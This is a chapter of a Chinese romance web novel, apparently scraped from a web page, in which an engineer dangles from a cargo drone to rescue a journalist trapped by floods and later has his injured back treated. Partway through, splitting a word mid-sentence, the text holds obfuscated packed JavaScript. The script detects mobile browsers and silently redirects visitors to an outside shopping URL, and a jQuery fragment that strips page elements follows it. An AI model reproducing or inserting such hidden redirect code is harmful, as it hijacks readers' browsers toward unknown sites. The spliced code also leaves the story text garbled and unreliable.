祝勋洲吊在无人机下方,机身四周的探照灯打出一束的光,但雨幕太密,光线照到水面时已经散成一片模糊的光晕。
他眯着眼往下看,浑浊的水面上偶尔漂过屋顶的边角,分不清哪是哪。他把喇叭举到嘴边:“兰曦禾!”
喊完他自己也悬着心。雨这么大,她能不能听见全靠运气。
岸边指挥车里,文姐盯着屏幕上的图传画面,旁边站着消防员和今天那户被救出来的一家人。
中年男人凑近屏幕,指着地图上一片区域:“这一块,房子是三层的那种。”
消防员在图上画了个圈:“应该在这附近。”
兰曦禾缩在楼顶,她叹了口气,从怀里掏出手机,屏幕的光映在她冷白的脸上,手指打着颤,一个字一个字地敲。
写完给家人的话,她顿了顿。脑子里忽然闪过祝勋洲的脸。
如果她真的死在这儿,那件事是不是该告诉他?他到现在还以为两个人以前真的是情侣。万一她没了,他可能一辈子都这么以为。
如果他看见,那反正都是死了,还能拿她怎么样?她上天堂还得靠坦白从宽呢。
她咬了咬嘴唇,手指继续敲下去。
「祝勋洲,其实我骗了你。我们不是你说的那种关系,不是情侣,我编了很多」
她正要继续打,隔着暴雨和雷鸣,隐约像是有人在喊什么。兰曦禾抬起头,觉得大概是幻觉。
她又低下头去按屏幕。就在这时,一声闷响从远处传来,像是什么大型机械在靠近。
兰曦禾转过头,目光落在远处半空中,有一个亮点正在移动。探照灯的光柱在雨中晃来晃去,而光柱下面,吊着一个人影。
她连滚带爬地站起来,掏出手机打开手电筒,疯狂地朝那个方向挥舞。祝勋洲正低头搜索水面,忽然看见左侧远处有一小团光在晃动。他立刻拿起对讲机:“发现目标了,左前方。”
文姐在屏幕上也看到了那束挥舞的灯光,手指在操控面板上飞快地调整参数,无人机缓缓转向,朝那个光点飞去。
兰曦禾攥着手机,看着那个吊着人的无人机越来越近。她眯着眼往上看,光晕里那个身影被灯光从背后勾出一道轮廓线,雨水在他周围溅成一片碎金。他慢慢从天上降下来。
兰曦禾看清了那张脸,整个人呆住。她以为是消防急救员,结果吊在上面的人是祝勋洲。
无人机稳稳落在屋顶上空,祝勋洲解开身上的绑带,兰曦禾跑过去,满脸难以置信:“怎么是你?”
“不乐意?”祝勋洲不想多说,从兜里摸出一个用塑料袋包着的面包塞到她手里,“先吃点。”然后蹲下来,从腰间的装备包里抽出绑带,开始给她腰上、腿上固定。
兰曦禾被他绑着,低头看他熟练地绕带、扣锁,忍不住开口:“这样很危险啊。”她知道这种无人机,设计的初衷是载货,现在两个人的体重压上去,万一撑不住…
“少废话。”祝勋洲把最后一个卡扣按紧,“这个暴雨不知道下多久,一晚上水就能把你现在待的这个屋顶全淹了。”
他绑完她的绑带,低头看见她鞋带开了,又蹲下去,手指勾住鞋带两端,飞快地打了个结,然后把她的裤脚往下拽了拽,盖住脚踝。“一会抱紧我。”
两人准备就绪,祝勋洲抬头朝无人机摄像头比了个手势。文姐那边收到信号,启动了提升程序。
兰曦禾紧紧抱住祝勋洲的腰,整个人贴在他身前。无人机旋翼加速,机身猛地往上一提,两个人被吊离了屋顶。她下意识想低头看,脚下一片漆黑的水面在视野里展开,恐惧瞬间攫住了她。一只手覆上了她的眼睛。
祝勋洲把她的头按进自己怀里,“马上就到。”
他的手掌干燥温热,挡在她眼前。兰曦禾把脸埋在他胸口,鼻尖抵着他湿透的衬衫,能感觉到他胸腔里沉稳有力的心跳。她看不见任何东西,只感觉到风从身侧灌过来,雨打在她后背上,而他的手臂死死箍着她的腰。
空中的风比地面大得多,无人机吊着两个人被吹得左右摇摆。安洪的后台数据在屏幕上跳动,技术人员盯着重量曲线,心提到了嗓子眼。这台机器最大承重二百五十斤,平时吊货都控制在两百斤以内,现在两个人的重量已经逼近极限值。
突然一阵狂风从侧面灌过来,无人机猛地一偏,两个人被甩向一侧。祝勋洲余光扫到前方一根路牌的金属杆正在急速靠近,他来不及想,一只手把兰曦禾的头护在怀里,另一只手搂着她的腰用力一转,把自己的背迎了上去。
“砰”的一声闷响,他的后背撞在路牌杆上,整个人震了一下,手臂却始终箍着兰曦禾没有松。无人机感应到撞击,自动调整姿态,往高处飞了一截。
“你没事吧?”兰曦禾被他护着没受一点伤,但听见那声响,心都揪起来了。
“没事。”祝勋洲咬了一下牙,把涌上来的痛感压回去。
好在之后的飞行顺利了许多。风雨虽大,但文姐操控得稳,一路没有再出状况。几分钟后,无人机缓缓降落在村口岸边的空地上,螺旋桨慢慢停下。
岸边等着的救援人员、消防员和村民围上来,有人鼓掌,有人喊好。张金瑞扛着摄像机挤到最前面,镜头对准了两个人。旁边几个记者也举起相机,快门声响成一片。
祝勋洲解开自己身上的绑带,又帮兰曦禾把腰间的锁扣一个一个打开。
他站起身,走到文姐面前,语气平得很:“刚刚在上面看见里边还有几个人,手机灯在闪。建议你们现在用无人机陆续把人运出来,一个一个来。”他顿了顿,又补了一句,“体重太轻容易被风吹偏,可以在无人机上加配重,减少被风摆弄的弧度。”
因为有了祝勋洲的成功,安洪的人也开始了无人机急救工作,动员载货无人机出场。
几个记者举着相机想凑过来采访祝勋洲,兰曦禾抬手一拦,客气开口:“一会儿再采吧,他刚撞了路牌,得先处理一下。”
她拉着祝勋洲穿过人群,回到自己这几天住的小房间。房间不大,一张单人床,一张桌子,角落里堆着她的设备包和换洗衣物。
灯光是暖黄色的,整个屋子照得昏昏暗暗,反倒有一种与外面暴雨隔绝的安静。
兰曦禾从柜子里翻出急救包,放在桌上打开,扭头看他:“把衣服脱了。”
祝勋洲靠在桌沿上,嘴角弯了一下:“就几天没见,要不等回去了再来?”
“脑子里只有黄色废料。”兰曦禾白了他一眼,把棉签和药水拿出来,“让你脱衣服是看看后背,刚才撞那一下严不严重。”
“有什么好严重的。”祝勋洲嘴上说着,还是把衬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955473|213208||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
衫从肩上褪了下来。
后背左侧肩胛骨下方有一片红肿,皮肤没有破,但颜色发暗,边缘泛着青紫。兰曦禾凑近看了看,用手指轻轻按了按周围,祝勋洲的肌肉绷了一下,没出声。
“疼就说。”她拧开药水瓶,棉签蘸了药水,沿着红肿的边缘慢慢涂上去。“你什么时候到的?”兰曦禾一边擦一边问。
“今天刚到。”
“一到这就救人,祝总工挺有勇气啊。”
祝勋洲偏过头看她,灯光落在她侧脸上,她低着头,神情专注得像在做什么精细活。他笑了一声:“所以呢,你怎么报答我?以身相许吗?”
兰曦禾手上的动作顿住。她想起之前从柠芯沥回来,被虎尾队追尾那回,祝勋洲去她家,让她随便提要求,以身相许除外。
现在倒好,他自己把这四个字说出来了。她忍不住想,要是他哪天恢复记忆,想起自己说过这话,不知道会不会原地后悔得撞墙。
她故意用棉签在他红肿的地方按了一下。祝勋洲扭过头瞪她:“你个小没良心的,就这样对待救命恩人?”
“我黑心。”兰曦禾把棉签丢进垃圾桶,拉上急救包的拉链,摸了摸手机,“有充电宝吗?”
祝勋洲从包里摸出一个递给她。兰曦禾很自然地把手机递回去让他帮忙充上,然后拍了拍他的肩:“把衣服穿上吧。”
祝勋洲把充电线插好,却没去拿衣服。他转身往那张单人床上一躺,床板发出轻微的吱呀声。他环顾了一圈这个小房间,墙皮有点剥落,窗户是老式的推拉窗,桌上还摊着兰曦禾的采访笔记。
祝勋洲:“你这几天就住这啊。”
“有的住就不错了。”兰曦禾把急救包放回柜子里,“这家原本的村民被安置出去了,专门腾出地方给我们住。那些消防人员都是打地铺的,我这还有张床,已经很知足了。”
她直起身,祝勋洲顺势从床上坐起来,一伸手揽过她的腰,把她往自己这边带了带。
“干嘛。”兰曦禾伸手抵住他的肩膀,低头看他,“我还得下去看现场。”
“行吧。”祝勋洲当然不能拦着她工作。他松开手,从旁边包里翻出一双干净的鞋子和一套叠好的衣服递过去:“换上再走。”
兰曦禾接过来,一双防水短靴和一套深色的速干衣裤,尺寸都是她的。她有点意外地抬起头:“你竟然还给我带了换洗衣服。”
她现在身上这套湿了干、干了又湿,早就难受得不行。她把衣服抱在怀里,凑过去在祝勋洲脸上亲了一口:“谢谢。”然后转身背对着他开始换衣服。
祝勋洲靠在床头看着她换衣服的背影,觉得她很奇妙。怎么还背着人换呢。
兰曦禾换好衣服下了楼,张金瑞已经在现场等着了。新的救援批次正在进行,安洪的无人机一趟一趟从深处吊出被困村民,岸边的人接应、登记、分流。
兰曦禾拿起设备记录现场,又帮着安顿刚被送出来的村民,给他们递水递毯子。
祝勋洲站在二楼那间小房间的窗前,把窗户推开一条缝。
雨从缝隙里飘进来一点。他往下看,刚好能看见兰曦禾在人群里穿梭的身影。
她穿着他带来的那套衣服,蹲在一个老太太面前说着什么,又站起来招呼张金瑞拍某个画面,忙得脚不沾地。